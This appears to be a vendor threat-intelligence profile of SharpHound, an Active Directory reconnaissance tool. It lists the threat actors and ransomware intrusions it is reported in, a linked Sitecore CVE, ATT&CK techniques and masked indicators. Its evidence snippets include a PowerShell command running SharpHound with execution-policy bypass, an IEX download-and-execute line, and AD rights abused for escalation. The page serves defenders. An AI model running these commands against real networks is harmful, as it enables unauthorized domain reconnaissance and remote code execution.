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MalwareRansomwareUsed by 2 actorsExploits 1 CVE

SharpHound

SharpHound is an open-source Microsoft C#-based Active Directory reconnaissance and data-ingestion tool used with BloodHound to map AD environments and enumerate users, groups, computers, sessions, shares, SPNs, service accounts, domain relationships, and broader AD topology. The content repeatedly describes it being used for Active Directory infrastructure mapping and reconnaissance, including via LDAP queries and RPC calls that enumerate users, sessions, and shares. It is commonly executed in memory, including through Cobalt Strike beacons or reflective .NET loading in IIS worker processes, and may also save collected output to disk. Reported command-line, file-modification, LDAP-query, and user-agent detections exist for SharpHound/BloodHound activity.

The tool appears in multiple intrusion contexts in the provided content. Sophos reported its use by Cluster Charlie in Operation Crimson Palace, assessed as a Chinese state-directed cyberespionage campaign targeting a Southeast Asian government agency and related regional organizations, where Havoc was used to deploy SharpHound for AD mapping. Cisco Talos reported UAT-8837, assessed with medium confidence as China-nexus and targeting North American critical infrastructure, downloading SharpHound to collect Active Directory information after exploiting vulnerable servers or using compromised credentials. SharpHound was also described in Ryuk-related intrusions for AD discovery and pathing, in Black Basta intrusions where operators used SharpHound and BloodHound for AD enumeration via LDAP queries, in Egregor intrusions for reconnaissance of users, groups, and computers, and in a BlackSuit intrusion where SharpHound was run in memory via Cobalt Strike with output written to locations including C:\Windows\Temp\Dogi, C:\Windows\System32, and C:\Perflogs. Additional references note its use alongside tools such as Certipy, setspn, dsquery, dsget, AdFind, Impacket, Rubeus, EarthWorm, and DWAgent.

High-confidence indicators and detection-relevant artifacts mentioned in the content include SharpHound command-line usage, file modifications, LDAP query patterns, BloodHound-suite user-agent detections, RPC-based reconnaissance of sessions, and observed renamed execution such as sh.exe.

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EXPLOITED CVES

Vulnerabilities exploited

1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

1 CVES
CVE-2025-53690Sitecore ViewState deserialization RCE via exposed sample machineKeyExploited in the wild

This included EARTHWORM for creating secret tunnels, DWAGENT for remote access, and SHARPHOUND for mapping the network. | A critical zero-day vulnerability (CVE-2025-53690) is being actively exploited in Sitecore. This flaw, originating from old, insecure keys, allows hackers to achieve Remote Code Execution (RCE) via ViewState deserialization attacks.

via hackreadhackread.com
THREAT ACTORS

Groups observed using it

2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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UAT-8837

SharpHound, to collect Active Directory information

via the hacker newsthehackernews.com
Ryuk actors

"...most likely accomplished through the use of SharpHound, a Microsoft C#-based data 'injestor' tool for BloodHound..."

via sophos threat researchnews.sophos.com
MITRE ATT&CK

Techniques & procedures

17 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

4 techniques
T1047Windows Management InstrumentationEvidence1

the injected process used WMIC to query Windows Defender exclusion paths... the attackers used a command shell session spawned from the malicious DLL to move laterally via WMIC

T1059.001PowerShellEvidence3

Powershell -exec bypass Import-module SharpHound.ps1 Invoke-BloodHound -CollectionMethod ACL,ObjectProps,Default -CompressData –SkipPing

T1106Native APIEvidence1

BloodHound can use .NET API calls in the SharpHound ingestor component to pull Active Directory data.

T1204.003Malicious ImageEvidence1

Annotations ID Technique Tactic T1204.003 Malicious Image Execution Default Configuration

Privilege Escalation

1 technique
T1548Abuse Elevation Control MechanismEvidence1

Some of the typically misused rights include: ForceChangePassword ... GenericAll ... GenericWrite ... WriteOwner ... WriteDacl ... Self ... These things can have critical impact and often times lead to Domain Admin privileges.

Discovery

10 techniques
T1018Remote System DiscoveryEvidence7

“SharpHound & Certipy: Used for deep reconnaissance of Active Directory environments.”

T1033System Owner/User DiscoveryEvidence2

Adding Discovery since t1033 is already enabled on the rule.

T1046Network Service DiscoveryEvidence2

This included EARTHWORM for creating secret tunnels, DWAGENT for remote access, and SHARPHOUND for mapping the network.

T1069Permission Groups DiscoveryEvidence1

SharpHound collects network permissions, user sessions, and group configurations through this process.

T1069.001Local GroupsEvidence5

Annotations ID Technique Tactic T1069.001 Local Groups Discovery

T1069.002Domain GroupsEvidence6

# Invoke-Bloodhound ... Invoke-BloodHound

T1087Account DiscoveryEvidence2

Account Discovery [T1087]: Used by a small subset of cases where the threat actor uses Sharphound to collect domain information.

T1087.001Local AccountEvidence4

Annotations ID Technique Tactic T1087.001 Local Account Discovery

T1087.002Domain AccountEvidence5

So, this defense technique could be referenced in MITRE ATT&CK as T1087, Account Discovery: Domain Account. This is basic enumeration in the attack technique matrix.

T1482Domain Trust DiscoveryEvidence7

When we are looking for these rights and trust misconfigurations, we would typically start with the pre-built queries such as: ... “Map Domain Trusts”

Collection

1 technique
T1560Archive Collected DataEvidence1

BloodHound can compress data collected by its SharpHound ingestor into a ZIP file to be written to disk.

Command and Control

1 technique
T1105Ingress Tool TransferEvidence1

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/...')

INDICATORS OF COMPROMISE

IOCs tracked for this family

3 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Hashes
3 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

TypeValueLatest sighting
hash.md5●●●●●●●●●●●●View more in app2 years ago
hash.sha1●●●●●●●●●●●●View more in app2 years ago
hash.sha256●●●●●●●●●●●●View more in app2 years ago
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IOC matching3

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution2

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities1

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping17

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.